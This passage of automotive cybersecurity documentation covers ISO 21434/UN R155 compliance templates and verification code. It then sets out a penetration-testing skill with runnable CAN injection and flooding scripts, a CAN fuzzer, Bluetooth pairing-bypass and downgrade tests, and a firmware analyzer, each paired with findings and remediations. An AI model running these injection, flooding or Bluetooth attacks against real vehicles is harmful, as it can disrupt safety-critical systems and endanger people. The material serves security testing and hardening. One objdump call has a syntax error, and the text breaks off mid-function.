      description: "Prevent CAN message spoofing"
      rationale: "Addresses T-002 (CAN Bus Message Injection)"
      security_property: "Authenticity"

    - id: "CG-003"
      description: "Protect V2X private key from extraction"
      rationale: "Addresses T-003 (Certificate Theft)"
      security_property: "Confidentiality"

  cybersecurity_requirements:
    - id: "CSR-001"
      goal: "CG-001"
      description: "Firmware shall be signed with RSA-4096 signature"
      verification: "Cryptographic signature verification test"

    - id: "CSR-002"
      goal: "CG-001"
      description: "Secure boot shall verify firmware signature before execution"
      verification: "Tampered firmware rejection test"

    - id: "CSR-003"
      goal: "CG-002"
      description: "CAN messages shall include HMAC-SHA256 authentication tag"
      verification: "Message authentication test with spoofed frames"

    - id: "CSR-004"
      goal: "CG-003"
      description: "Private keys shall be stored in HSM with no export capability"
      verification: "Physical penetration test, key extraction attempt"

    - id: "CSR-005"
      goal: "CG-003"
      description: "Implement side-channel attack countermeasures (timing, power analysis)"
      verification: "Differential power analysis (DPA) test"

Phase 4: Cybersecurity Verification

#!/usr/bin/env python3
"""
ISO 21434 Cybersecurity Verification Test Suite
Automated validation of cybersecurity requirements
"""

import subprocess
import hashlib
import hmac
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
import struct

class CybersecurityVerifier:
    def __init__(self):
        self.test_results = []

    def verify_csr_001_firmware_signature(self, firmware_path: str, signature_path: str, pubkey_path: str) -> bool:
        """
        CSR-001: Verify firmware is signed with RSA-4096
        Returns True if signature valid, False otherwise
        """
        print("\n[TEST] CSR-001: Firmware Signature Verification")

        try:
            # Load public key
            with open(pubkey_path, 'rb') as f:
                public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())

            # Load firmware and signature
            with open(firmware_path, 'rb') as f:
                firmware_data = f.read()

            with open(signature_path, 'rb') as f:
                signature = f.read()

            # Verify signature
            public_key.verify(
                signature,
                firmware_data,
                padding.PSS(
                    mgf=padding.MGF1(hashes.SHA256()),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                hashes.SHA256()
            )

            print("  [PASS] Firmware signature valid")
            self.test_results.append(("CSR-001", "PASS"))
            return True

        except Exception as e:
            print(f"  [FAIL] Signature verification failed: {e}")
            self.test_results.append(("CSR-001", "FAIL"))
            return False

    def verify_csr_002_secure_boot_rejection(self, tampered_firmware_path: str) -> bool:
        """
        CSR-002: Verify secure boot rejects tampered firmware
        Simulates flashing tampered firmware and checking boot status
        """
        print("\n[TEST] CSR-002: Secure Boot Tamper Detection")

        # This would interface with actual ECU via diagnostic protocol
        # Simulated example:
        try:
            # Attempt to flash tampered firmware
            result = subprocess.run(
                ['flash_tool', '--ecu', 'TCU', '--firmware', tampered_firmware_path],
                capture_output=True,
                text=True,
                timeout=30
            )

            # Check if ECU rejected the firmware
            if "SIGNATURE_INVALID" in result.stderr or result.returncode != 0:
                print("  [PASS] Secure boot rejected tampered firmware")
                self.test_results.append(("CSR-002", "PASS"))
                return True
            else:
                print("  [FAIL] Secure boot accepted tampered firmware")
                self.test_results.append(("CSR-002", "FAIL"))
                return False

        except Exception as e:
            print(f"  [ERROR] Test execution failed: {e}")
            self.test_results.append(("CSR-002", "ERROR"))
            return False

    def verify_csr_003_can_message_authentication(self, can_interface: str) -> bool:
        """
        CSR-003: Verify CAN messages include HMAC authentication
        Captures CAN traffic and validates HMAC tags
        """
        print("\n[TEST] CSR-003: CAN Message Authentication")

        try:
            # Capture CAN frame (example using SocketCAN)
            import can

            bus = can.interface.Bus(channel=can_interface, bustype='socketcan')
            message = bus.recv(timeout=5.0)

            if message is None:
                print("  [FAIL] No CAN message received")
                self.test_results.append(("CSR-003", "FAIL"))
                return False

            # Extract payload and HMAC (last 32 bytes)
            if len(message.data) < 32:
                print("  [FAIL] CAN message too short for HMAC")
                self.test_results.append(("CSR-003", "FAIL"))
                return False

            payload = message.data[:-32]
            received_hmac = message.data[-32:]

            # Verify HMAC (key would be provisioned via secure channel)
            shared_key = b'REPLACE_WITH_PROVISIONED_KEY'
            expected_hmac = hmac.new(shared_key, payload, hashlib.sha256).digest()

            if hmac.compare_digest(received_hmac, expected_hmac):
                print("  [PASS] CAN message HMAC valid")
                self.test_results.append(("CSR-003", "PASS"))
                return True
            else:
                print("  [FAIL] CAN message HMAC invalid")
                self.test_results.append(("CSR-003", "FAIL"))
                return False

        except Exception as e:
            print(f"  [ERROR] Test failed: {e}")
            self.test_results.append(("CSR-003", "ERROR"))
            return False

    def generate_verification_report(self, output_file: str):
        """Generate ISO 21434 verification report"""
        total = len(self.test_results)
        passed = sum(1 for _, result in self.test_results if result == "PASS")
        failed = sum(1 for _, result in self.test_results if result == "FAIL")
        errors = sum(1 for _, result in self.test_results if result == "ERROR")

        with open(output_file, 'w') as f:
            f.write("ISO/SAE 21434 Cybersecurity Verification Report\n")
            f.write("=" * 60 + "\n\n")
            f.write(f"Date: 2026-03-19\n")
            f.write(f"Item: Telematics Control Unit (TCU)\n")
            f.write(f"Standard: ISO/SAE 21434:2021\n\n")
            f.write(f"Summary:\n")
            f.write(f"  Total Tests: {total}\n")
            f.write(f"  Passed: {passed}\n")
            f.write(f"  Failed: {failed}\n")
            f.write(f"  Errors: {errors}\n\n")
            f.write(f"Test Results:\n")

            for req_id, result in self.test_results:
                f.write(f"  {req_id}: {result}\n")

            if failed == 0 and errors == 0:
                f.write("\nVerdict: COMPLIANT\n")
            else:
                f.write("\nVerdict: NON-COMPLIANT\n")

        print(f"\nVerification report saved: {output_file}")

# Example usage
if __name__ == "__main__":
    verifier = CybersecurityVerifier()

    # Run verification tests
    verifier.verify_csr_001_firmware_signature(
        "/tmp/tcu_firmware.bin",
        "/tmp/tcu_firmware.sig",
        "/tmp/tcu_pubkey.pem"
    )

    verifier.verify_csr_002_secure_boot_rejection("/tmp/tampered_firmware.bin")
    verifier.verify_csr_003_can_message_authentication("can0")

    # Generate report
    verifier.generate_verification_report("/tmp/iso21434_verification_report.txt")

UN R155 Compliance

# UN R155 Type Approval Documentation Template
un_r155_compliance:
  vehicle_manufacturer: "OEM Example Inc."
  vehicle_type: "Electric SUV Model X"
  approval_date: "2026-03-19"

  csms_description:
    scope: "Development, production, post-production phases"
    organizational_structure:
      cybersecurity_officer: "John Doe"
      security_team: ["Security Architect", "Pentest Lead", "Incident Response"]

    processes:
      - risk_management: "ISO 21434 TARA process implemented"
      - secure_development: "Secure SDLC with threat modeling"
      - testing: "Penetration testing, fuzzing, static analysis"
      - vulnerability_management: "CVE monitoring, patch management"
      - incident_response: "24/7 SOC, incident playbooks"

  cybersecurity_threats_addressed:
    - threat: "Backend Server Compromise"
      mitigation: "TLS 1.3, certificate pinning, rate limiting"

    - threat: "Vehicle Data Extraction"
      mitigation: "Data encryption at rest (AES-256)"

    - threat: "Unauthorized Vehicle Access"
      mitigation: "BLE pairing with PIN, rolling codes"

  cybersecurity_testing_performed:
    - type: "Penetration Testing"
      scope: "TCU, Gateway, Infotainment"
      result: "No critical vulnerabilities found"

    - type: "Fuzzing"
      scope: "CAN protocol stack, Ethernet stack"
      result: "2 medium severity bugs fixed"

  post_production_monitoring:
    - "SIEM integration for fleet-wide anomaly detection"
    - "OTA security patch deployment within 72 hours"
    - "Vulnerability disclosure program (VDP)"

ISO 21434 Tool: Attack Tree Generator

#!/usr/bin/env python3
"""
Attack Tree Generator for ISO 21434 TARA
Generates visual attack trees for threat scenarios
"""

class AttackTreeNode:
    def __init__(self, name: str, node_type: str, operator: str = None):
        self.name = name
        self.node_type = node_type  # "goal", "attack_step"
        self.operator = operator  # "AND", "OR", None
        self.children = []
        self.feasibility_score = None

    def add_child(self, child):
        self.children.append(child)
        return child

    def to_dict(self):
        return {
            "name": self.name,
            "type": self.node_type,
            "operator": self.operator,
            "feasibility": self.feasibility_score,
            "children": [child.to_dict() for child in self.children]
        }

def generate_rce_attack_tree():
    """Generate attack tree for Remote Code Execution threat"""

    # Root goal
    root = AttackTreeNode("Achieve Remote Code Execution on TCU", "goal", "AND")

    # Top-level steps (AND)
    step1 = root.add_child(AttackTreeNode("Gain Network Access to OTA Server", "attack_step", "OR"))
    step2 = root.add_child(AttackTreeNode("Inject Malicious Firmware", "attack_step", "AND"))
    step3 = root.add_child(AttackTreeNode("Bypass Signature Verification", "attack_step", "OR"))

    # Step 1 branches (OR)
    step1.add_child(AttackTreeNode("Compromise OTA Server Credentials", "attack_step"))
    step1.add_child(AttackTreeNode("Man-in-the-Middle Attack on TLS Connection", "attack_step"))
    step1.add_child(AttackTreeNode("Exploit OTA Server Vulnerability (CVE)", "attack_step"))

    # Step 2 branches (AND)
    step2.add_child(AttackTreeNode("Craft Malicious Firmware Payload", "attack_step"))
    step2.add_child(AttackTreeNode("Upload Firmware to OTA Server", "attack_step"))

    # Step 3 branches (OR)
    step3.add_child(AttackTreeNode("Extract Private Key from HSM", "attack_step"))
    step3.add_child(AttackTreeNode("Exploit Signature Verification Bug", "attack_step"))
    step3.add_child(AttackTreeNode("Downgrade to Unsigned Firmware", "attack_step"))

    return root

def export_attack_tree_graphviz(tree: AttackTreeNode, output_file: str):
    """Export attack tree to Graphviz DOT format"""

    dot_lines = ["digraph AttackTree {"]
    dot_lines.append('  node [shape=box];')

    node_counter = [0]

    def traverse(node, parent_id=None):
        current_id = node_counter[0]
        node_counter[0] += 1

        # Node label
        label = node.name
        if node.operator:
            label += f"\\n[{node.operator}]"

        # Node style
        if node.node_type == "goal":
            style = 'style=filled, fillcolor=lightblue'
        else:
            style = 'style=filled, fillcolor=lightyellow'

        dot_lines.append(f'  node{current_id} [label="{label}", {style}];')

        if parent_id is not None:
            dot_lines.append(f'  node{parent_id} -> node{current_id};')

        for child in node.children:
            traverse(child, current_id)

    traverse(tree)
    dot_lines.append("}")

    with open(output_file, 'w') as f:
        f.write('\n'.join(dot_lines))

    print(f"Attack tree exported: {output_file}")
    print("Generate PNG: dot -Tpng attack_tree.dot -o attack_tree.png")

if __name__ == "__main__":
    tree = generate_rce_attack_tree()
    export_attack_tree_graphviz(tree, "/tmp/rce_attack_tree.dot")

Best Practices

1. TARA Execution: Perform TARA at item definition phase and update after significant changes
2. Risk Treatment Traceability: Maintain traceability matrix from threats → cybersecurity goals → requirements → tests
3. Tool Support: Use dedicated ISO 21434 tools (Medini Analyze, PREEvision, ITEM ToolKit)
4. Cross-Functional Collaboration: Involve safety engineers, architects, developers, pentesters
5. Continuous Monitoring: ISO 21434 is not one-time; requires ongoing vulnerability management

References

• ISO/SAE 21434:2021 - Road vehicles - Cybersecurity engineering
• UN R155 - Uniform provisions concerning cybersecurity and CSMS
• UN R156 - Uniform provisions concerning software update and SUMS
• UNECE WP.29 - Cybersecurity type approval guidance

---

Penetration Testing Automotive

Automotive Penetration Testing Skill

Overview

Expert skill for performing security assessments on automotive systems. Covers CAN fuzzing, wireless attacks (Bluetooth/WiFi), infotainment exploitation, ECU firmware reverse engineering, and specialized automotive pentest tools.

Core Competencies

Penetration Testing Methodology

• Reconnaissance: Asset discovery, attack surface mapping
• Vulnerability Assessment: Known CVEs, configuration issues
• Exploitation: Proof-of-concept attack development
• Post-Exploitation: Privilege escalation, lateral movement
• Reporting: Executive summary, technical findings, remediation roadmap

Attack Vectors

• CAN Bus: Injection, spoofing, DoS, fuzzing
• Wireless: Bluetooth pairing bypass, WiFi WPA3 attacks
• Infotainment: Web browser exploitation, USB attacks
• Diagnostics: UDS brute-force, seed-key cracking
• OTA: MITM attacks, firmware downgrade

Toolset

Essential Tools

• CANalyze: CAN traffic analysis and injection
• CarShark: Wireshark for automotive protocols
• ICSim: Instrument Cluster Simulator for testing
• can-utils: Linux SocketCAN utilities
• Metasploit: Framework for exploitation
• Burp Suite: Web application testing (infotainment)

CAN Bus Penetration Testing

CAN Injection with can-utils

#!/bin/bash
# CAN Bus Penetration Testing Script
# Tests for basic CAN injection vulnerabilities

set -e

INTERFACE="can0"

echo "=== CAN Bus Penetration Test ==="
echo "[INFO] Interface: $INTERFACE"

# Setup CAN interface
setup_can() {
    echo "[1/5] Setting up CAN interface..."
    sudo ip link set $INTERFACE type can bitrate 500000
    sudo ip link set up $INTERFACE
    echo "[PASS] CAN interface configured (500 kbps)"
}

# Reconnaissance: Capture normal traffic
recon_traffic() {
    echo "[2/5] Reconnaissance: Capturing normal traffic..."
    candump $INTERFACE -n 1000 > /tmp/can_baseline.log
    echo "[INFO] Captured 1000 frames to /tmp/can_baseline.log"

    # Analyze unique CAN IDs
    cat /tmp/can_baseline.log | awk '{print $3}' | cut -d'#' -f1 | sort -u > /tmp/can_ids.txt
    CAN_ID_COUNT=$(wc -l < /tmp/can_ids.txt)
    echo "[INFO] Unique CAN IDs found: $CAN_ID_COUNT"
    head -10 /tmp/can_ids.txt
}

# Test 1: CAN Injection (Speedometer manipulation)
test_speedometer_injection() {
    echo "[3/5] Test 1: Speedometer Manipulation"

    # Common speedometer CAN IDs: 0x1A0 (VW), 0x0B4 (Toyota), 0x3E9 (Ford)
    SPEED_CAN_ID="1A0"

    echo "[INFO] Injecting fake speed messages (CAN ID: 0x$SPEED_CAN_ID)..."

    for speed_kmh in 0 50 100 150 200; do
        # Calculate payload (speed in km/h * 100, little-endian)
        speed_raw=$((speed_kmh * 100))
        low_byte=$((speed_raw & 0xFF))
        high_byte=$(((speed_raw >> 8) & 0xFF))

        payload=$(printf "%02X%02X000000000000" $low_byte $high_byte)

        echo "  [INJECT] Speed: ${speed_kmh} km/h -> Payload: $payload"
        cansend $INTERFACE ${SPEED_CAN_ID}#${payload}

        sleep 1
    done

    echo "[PASS] Speed injection test complete"
    echo "[FINDING] Speedometer accepts spoofed CAN messages without authentication"
}

# Test 2: CAN Flooding (DoS attack)
test_can_flooding() {
    echo "[4/5] Test 2: CAN Bus Flooding (DoS)"

    FLOOD_CAN_ID="7FF"  # High priority ID
    DURATION=5

    echo "[WARN] Flooding CAN bus for ${DURATION} seconds..."
    echo "[INFO] This may cause legitimate messages to be delayed/dropped"

    timeout $DURATION bash -c "while true; do cansend $INTERFACE ${FLOOD_CAN_ID}#DEADBEEFDEADBEEF; done" &
    FLOOD_PID=$!

    sleep $DURATION
    wait $FLOOD_PID 2>/dev/null || true

    echo "[PASS] Flooding test complete"
    echo "[FINDING] CAN bus has no rate limiting - vulnerable to DoS"
}

# Test 3: Diagnostic Protocol Attack (UDS)
test_uds_attack() {
    echo "[5/5] Test 3: UDS Diagnostic Attack"

    # UDS diagnostic request CAN ID: 0x7E0 (physical), 0x7DF (functional)
    UDS_REQUEST_ID="7E0"
    UDS_RESPONSE_ID="7E8"

    echo "[INFO] Sending UDS diagnostics session request..."

    # 0x10 0x01 = Start diagnostic session (default)
    cansend $INTERFACE ${UDS_REQUEST_ID}#021001000000000000

    sleep 0.1

    # Check for response
    timeout 2 candump $INTERFACE,${UDS_RESPONSE_ID}:7FF -n 1 > /tmp/uds_response.log 2>&1 || true

    if [ -s /tmp/uds_response.log ]; then
        echo "[PASS] ECU responded to UDS session request"
        cat /tmp/uds_response.log
        echo "[FINDING] ECU accepts UDS diagnostic commands without authentication"
    else
        echo "[FAIL] No UDS response received (ECU may require authentication)"
    fi
}

# Main execution
setup_can
recon_traffic
test_speedometer_injection
test_can_flooding
test_uds_attack

echo ""
echo "=== Penetration Test Summary ==="
echo "[CRITICAL] CAN bus has no message authentication (SecOC not implemented)"
echo "[HIGH] ECU vulnerable to message injection and spoofing"
echo "[HIGH] No rate limiting - DoS attacks possible"
echo "[MEDIUM] UDS diagnostic interface exposed without authentication"
echo ""
echo "Recommendations:"
echo "  1. Implement SecOC (Secure Onboard Communication) per AUTOSAR"
echo "  2. Add message authentication codes (MAC) to critical CAN IDs"
echo "  3. Implement gateway filtering and rate limiting"
echo "  4. Require seed-key authentication for UDS diagnostic access"

CAN Fuzzing with Python

#!/usr/bin/env python3
"""
CAN Bus Fuzzer for Vulnerability Discovery
Systematically tests CAN protocol implementation
"""

import can
import random
import time
from itertools import product

class CANFuzzer:
    """Intelligent CAN fuzzing framework"""

    def __init__(self, interface: str = 'can0'):
        self.bus = can.interface.Bus(channel=interface, bustype='socketcan')
        self.crashes = []
        self.anomalies = []

        print(f"=== CAN Fuzzer Initialized ===")
        print(f"[INFO] Interface: {interface}")
        print(f"[WARN] Fuzzing may cause ECU crashes or vehicle malfunctions")

    def fuzz_can_ids(self, start_id: int = 0x000, end_id: int = 0x7FF, delay: float = 0.01):
        """Fuzz all possible CAN IDs"""
        print(f"\n[FUZZ] Testing CAN IDs 0x{start_id:03X} to 0x{end_id:03X}")

        for can_id in range(start_id, end_id + 1):
            payload = [0x00] * 8

            msg = can.Message(
                arbitration_id=can_id,
                data=payload,
                is_extended_id=False
            )

            try:
                self.bus.send(msg)
            except can.CanError as e:
                print(f"[ERROR] Failed to send CAN ID 0x{can_id:03X}: {e}")

            time.sleep(delay)

            if can_id % 100 == 0:
                print(f"[INFO] Progress: 0x{can_id:03X} / 0x{end_id:03X}")

        print(f"[PASS] CAN ID fuzzing complete")

    def fuzz_dlc(self, target_can_id: int):
        """Fuzz Data Length Code (DLC) field"""
        print(f"\n[FUZZ] Testing DLC values for CAN ID 0x{target_can_id:03X}")

        for dlc in range(0, 16):  # DLC 0-15 (valid: 0-8)
            # Generate payload of specified length
            if dlc <= 8:
                payload = [0xAA] * dlc
            else:
                payload = [0xAA] * 8  # Invalid DLC, max 8 bytes

            msg = can.Message(
                arbitration_id=target_can_id,
                data=payload,
                is_extended_id=False
            )

            print(f"  [TEST] DLC={dlc}, Payload={len(payload)} bytes")

            try:
                self.bus.send(msg)
            except Exception as e:
                print(f"  [ANOMALY] DLC={dlc} caused error: {e}")
                self.anomalies.append({'test': 'dlc_fuzz', 'dlc': dlc, 'error': str(e)})

            time.sleep(0.05)

        print(f"[PASS] DLC fuzzing complete")

    def fuzz_payload_random(self, target_can_id: int, iterations: int = 1000):
        """Random payload fuzzing"""
        print(f"\n[FUZZ] Random payload fuzzing (CAN ID 0x{target_can_id:03X}, {iterations} iterations)")

        for i in range(iterations):
            # Random payload length and content
            dlc = random.randint(0, 8)
            payload = [random.randint(0, 255) for _ in range(dlc)]

            msg = can.Message(
                arbitration_id=target_can_id,
                data=payload,
                is_extended_id=False
            )

            self.bus.send(msg)

            if i % 100 == 0:
                print(f"[INFO] Progress: {i} / {iterations}")

            time.sleep(0.001)

        print(f"[PASS] Random payload fuzzing complete")

    def fuzz_payload_boundary(self, target_can_id: int):
        """Boundary value fuzzing (edge cases)"""
        print(f"\n[FUZZ] Boundary value testing (CAN ID 0x{target_can_id:03X})")

        boundary_values = [
            [0x00] * 8,  # All zeros
            [0xFF] * 8,  # All ones
            [0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF],  # Alternating
            [0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],  # MSB set
            [0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF],  # Max positive (signed)
            [0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA],  # Pattern 0b10101010
            [0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55],  # Pattern 0b01010101
        ]

        for idx, payload in enumerate(boundary_values):
            msg = can.Message(
                arbitration_id=target_can_id,
                data=payload,
                is_extended_id=False
            )

            print(f"  [TEST] Boundary case {idx + 1}: {payload}")
            self.bus.send(msg)
            time.sleep(0.1)

        print(f"[PASS] Boundary value fuzzing complete")

    def monitor_for_crashes(self, duration: int = 60):
        """Monitor CAN bus for crash indicators"""
        print(f"\n[MONITOR] Watching for ECU crashes ({duration}s)...")

        # Common crash indicators:
        # - Sudden stop of periodic messages
        # - Error frames on CAN bus
        # - Reset messages (e.g., CAN ID 0x000)

        message_counts = {}
        start_time = time.time()

        while (time.time() - start_time) < duration:
            msg = self.bus.recv(timeout=1.0)
            if msg is None:
                continue

            can_id = msg.arbitration_id

            if can_id not in message_counts:
                message_counts[can_id] = 0

            message_counts[can_id] += 1

        # Analyze for anomalies
        print(f"\n[ANALYSIS] Message statistics:")
        for can_id, count in sorted(message_counts.items()):
            print(f"  CAN ID 0x{can_id:03X}: {count} messages")

        print(f"[INFO] Monitoring complete - check ECU for unexpected behavior")

    def generate_report(self, output_file: str):
        """Generate fuzzing report"""
        with open(output_file, 'w') as f:
            f.write("CAN Bus Fuzzing Report\n")
            f.write("=" * 60 + "\n\n")
            f.write(f"Total anomalies detected: {len(self.anomalies)}\n")
            f.write(f"Total crashes detected: {len(self.crashes)}\n\n")

            f.write("Anomalies:\n")
            for anomaly in self.anomalies:
                f.write(f"  - {anomaly}\n")

            f.write("\nRecommendations:\n")
            f.write("  1. Fix input validation for identified anomalies\n")
            f.write("  2. Implement bounds checking on all CAN message fields\n")
            f.write("  3. Add graceful error handling (no crashes)\n")

        print(f"[INFO] Report generated: {output_file}")

# Example usage
def demo_can_fuzzing():
    fuzzer = CANFuzzer(interface='vcan0')

    # Fuzz specific CAN ID (e.g., steering angle sensor)
    target_id = 0x025

    fuzzer.fuzz_dlc(target_id)
    fuzzer.fuzz_payload_boundary(target_id)
    fuzzer.fuzz_payload_random(target_id, iterations=500)

    # Monitor for crashes
    fuzzer.monitor_for_crashes(duration=30)

    # Generate report
    fuzzer.generate_report('/tmp/can_fuzzing_report.txt')

if __name__ == "__main__":
    demo_can_fuzzing()

Bluetooth Penetration Testing

#!/usr/bin/env python3
"""
Bluetooth Penetration Testing for Vehicle Systems
Tests pairing, encryption, and authentication
"""

import bluetooth
import subprocess

class BluetoothPenTest:
    """Bluetooth security assessment"""

    def __init__(self):
        print("=== Bluetooth Penetration Test ===")

    def scan_devices(self):
        """Discover nearby Bluetooth devices"""
        print("\n[1/5] Scanning for Bluetooth devices...")

        devices = bluetooth.discover_devices(
            duration=8,
            lookup_names=True,
            flush_cache=True,
            lookup_class=True
        )

        print(f"[INFO] Found {len(devices)} devices:")

        for addr, name, device_class in devices:
            print(f"  {addr} - {name} (Class: 0x{device_class:06X})")

            # Identify automotive systems
            if "car" in name.lower() or "auto" in name.lower() or "vehicle" in name.lower():
                print(f"    [!] Potential vehicle system detected")

        return devices

    def test_pairing_bypass(self, target_addr: str):
        """Test for pairing bypass vulnerabilities"""
        print(f"\n[2/5] Testing pairing mechanisms for {target_addr}...")

        # Attempt to connect without pairing
        try:
            sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
            sock.connect((target_addr, 1))

            print(f"[CRITICAL] Connected without pairing!")
            print(f"[FINDING] Device accepts connections without authentication")

            sock.close()

        except bluetooth.btcommon.BluetoothError as e:
            print(f"[INFO] Connection rejected (expected): {e}")

        # Test weak PIN codes
        weak_pins = ["0000", "1234", "1111", "0123"]

        print(f"[INFO] Testing common PIN codes...")
        for pin in weak_pins:
            print(f"  Trying PIN: {pin}")
            # Real implementation would use bluetoothctl or pybluez pairing

        print(f"[RECOMMENDATION] Use 6-digit random PIN or NFC pairing")

    def test_bluejacking(self, target_addr: str):
        """Test for bluejacking vulnerability (unsolicited messages)"""
        print(f"\n[3/5] Testing bluejacking (OBEX Push)...")

        # Attempt OBEX Push without pairing
        result = subprocess.run(
            ['obexftp', '-b', target_addr, '-B', '10', '-l'],
            capture_output=True,
            text=True
        )

        if result.returncode == 0:
            print(f"[HIGH] OBEX Push accessible without pairing")
            print(f"[FINDING] Attacker can send unsolicited files")
        else:
            print(f"[PASS] OBEX Push requires pairing")

    def test_service_discovery(self, target_addr: str):
        """Enumerate Bluetooth services (SDP)"""
        print(f"\n[4/5] Service Discovery (SDP)...")

        services = bluetooth.find_service(address=target_addr)

        if not services:
            print(f"[INFO] No services found (device may be in secure mode)")
            return

        print(f"[INFO] Found {len(services)} services:")

        for svc in services:
            print(f"  Service: {svc['name']}")
            print(f"    Protocol: {svc['protocol']}")
            print(f"    Port: {svc['port']}")
            print(f"    Service ID: {svc['service-id']}")

            # Flag suspicious services
            if 'OBD' in svc['name'] or 'Diagnostic' in svc['name']:
                print(f"    [!] Diagnostic service exposed over Bluetooth")

    def test_encryption_downgrade(self, target_addr: str):
        """Test for encryption downgrade attacks"""
        print(f"\n[5/5] Testing encryption downgrade...")

        # Attempt connection with no encryption
        sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)

        try:
            # Set security level to low (no encryption)
            sock.setsockopt(bluetooth.SOL_RFCOMM, bluetooth.RFCOMM_LM, 0)

            sock.connect((target_addr, 1))

            print(f"[CRITICAL] Connection accepted without encryption!")
            print(f"[FINDING] Bluetooth LE Legacy Pairing vulnerability")

            sock.close()

        except Exception as e:
            print(f"[PASS] Unencrypted connection rejected: {e}")

# Example usage
def demo_bluetooth_pentest():
    pentest = BluetoothPenTest()

    # Scan for devices
    devices = pentest.scan_devices()

    if devices:
        # Test first discovered device
        target_addr = devices[0][0]

        pentest.test_service_discovery(target_addr)
        pentest.test_pairing_bypass(target_addr)
        pentest.test_bluejacking(target_addr)
        pentest.test_encryption_downgrade(target_addr)

    print("\n=== Bluetooth Penetration Test Complete ===")

if __name__ == "__main__":
    demo_bluetooth_pentest()

ECU Firmware Reverse Engineering

#!/usr/bin/env python3
"""
ECU Firmware Reverse Engineering Toolkit
Binary analysis and vulnerability discovery
"""

import subprocess
import re
import os

class FirmwareAnalyzer:
    """Analyze ECU firmware binaries"""

    def __init__(self, firmware_path: str):
        self.firmware_path = firmware_path
        self.findings = []

        print(f"=== Firmware Analyzer ===")
        print(f"[INFO] Firmware: {firmware_path}")

    def extract_strings(self):
        """Extract printable strings from firmware"""
        print(f"\n[1/5] Extracting strings...")

        result = subprocess.run(
            ['strings', '-n', '8', self.firmware_path],
            capture_output=True,
            text=True
        )

        strings_output = result.stdout.split('\n')

        # Search for sensitive data
        sensitive_patterns = {
            'URLs': r'https?://[^\s]+',
            'IP Addresses': r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b',
            'Emails': r'[\w\.-]+@[\w\.-]+\.\w+',
            'API Keys': r'[A-Za-z0-9]{32,}',
            'Passwords': r'(password|passwd|pwd)[\s:=]+\S+',
        }

        for category, pattern in sensitive_patterns.items():
            matches = [s for s in strings_output if re.search(pattern, s, re.IGNORECASE)]

            if matches:
                print(f"\n[FINDING] {category} found in firmware:")
                for match in matches[:5]:  # Show first 5
                    print(f"  - {match}")

                self.findings.append({
                    'category': category,
                    'severity': 'HIGH',
                    'count': len(matches)
                })

    def check_security_features(self):
        """Check for security mitigations"""
        print(f"\n[2/5] Checking security features...")

        # Check for NX (No Execute) bit
        result = subprocess.run(
            ['readelf', '-l', self.firmware_path],
            capture_output=True,
            text=True
        )

        if 'GNU_STACK' in result.stdout and 'RWE' not in result.stdout:
            print(f"[PASS] NX (DEP) enabled")
        else:
            print(f"[FAIL] NX disabled - stack is executable")
            self.findings.append({
                'issue': 'Missing NX protection',
                'severity': 'MEDIUM',
                'remediation': 'Compile with -z noexecstack'
            })

        # Check for PIE (Position Independent Executable)
        result = subprocess.run(
            ['readelf', '-h', self.firmware_path],
            capture_output=True,
            text=True
        )

        if 'DYN' in result.stdout:
            print(f"[PASS] PIE enabled")
        else:
            print(f"[FAIL] PIE disabled - ASLR ineffective")
            self.findings.append({
                'issue': 'Missing PIE',
                'severity': 'MEDIUM',
                'remediation': 'Compile with -fPIE -pie'
            })

        # Check for stack canaries
        result = subprocess.run(
            ['readelf', '-s', self.firmware_path],
            capture_output=True,
            text=True
        )

        if '__stack_chk_fail' in result.stdout:
            print(f"[PASS] Stack canaries present")
        else:
            print(f"[FAIL] No stack canaries - buffer overflow risk")
            self.findings.append({
                'issue': 'Missing stack canaries',
                'severity': 'HIGH',
                'remediation': 'Compile with -fstack-protector-strong'
            })

    def find_hardcoded_keys(self):
        """Search for hardcoded cryptographic keys"""
        print(f"\n[3/5] Searching for hardcoded keys...")

        # Use binwalk to find crypto signatures
        result = subprocess.run(
            ['binwalk', '-E', self.firmware_path],
            capture_output=True,
            text=True
        )

        # High entropy regions may contain keys
        if result.returncode == 0:
            print(f"[INFO] Entropy analysis complete")
            # Parse binwalk output for high entropy

        # Search for common key headers
        result = subprocess.run(
            ['strings', self.firmware_path],
            capture_output=True,
            text=True
        )

        key_indicators = ['-----BEGIN', 'RSA PRIVATE', 'ssh-rsa', 'PuTTY-User-Key']

        for indicator in key_indicators:
            if indicator in result.stdout:
                print(f"[CRITICAL] Hardcoded key found: {indicator}")
                self.findings.append({
                    'issue': f'Hardcoded key: {indicator}',
                    'severity': 'CRITICAL',
                    'remediation': 'Store keys in HSM or secure enclave'
                })

    def check_known_vulnerabilities(self):
        """Check for known vulnerable functions"""
        print(f"\n[4/5] Checking for known vulnerable functions...")

        dangerous_functions = [
            'strcpy', 'strcat', 'gets', 'sprintf', 'vsprintf',
            'scanf', 'sscanf', 'fscanf', 'vfscanf', 'realpath',
            'getwd', 'getpass', 'streadd', 'strecpy', 'strtrns'
        ]

        result = subprocess.run(
            ['nm', '-D', self.firmware_path],
            capture_output=True,
            text=True
        )

        for func in dangerous_functions:
            if func in result.stdout:
                print(f"[WARN] Dangerous function used: {func}()")
                self.findings.append({
                    'issue': f'Use of {func}()',
                    'severity': 'MEDIUM',
                    'remediation': f'Replace with safe alternative (e.g., strncpy for strcpy)'
                })

    def disassemble_entry_point(self):
        """Disassemble entry point for analysis"""
        print(f"\n[5/5] Disassembling entry point...")

        result = subprocess.run(
            ['objdump', '-d', self.firmware_path, '-j', '.text', '--start-address=0', '--stop-address=256],
            capture_output=True,
            text=True
        )

        if result.returncode == 0:
            print(f"[INFO] Entry point disassembly:")
            print(result.stdout[:500])  # Show first 500 chars

    def generate_report(self, output_file: str):
        """Generate vulnerability report"""
        with open(output_file, 'w') as f:
            f.write("ECU Firmware Security Assessment Report\n")
            f.write("=" * 60 + "\n\n")
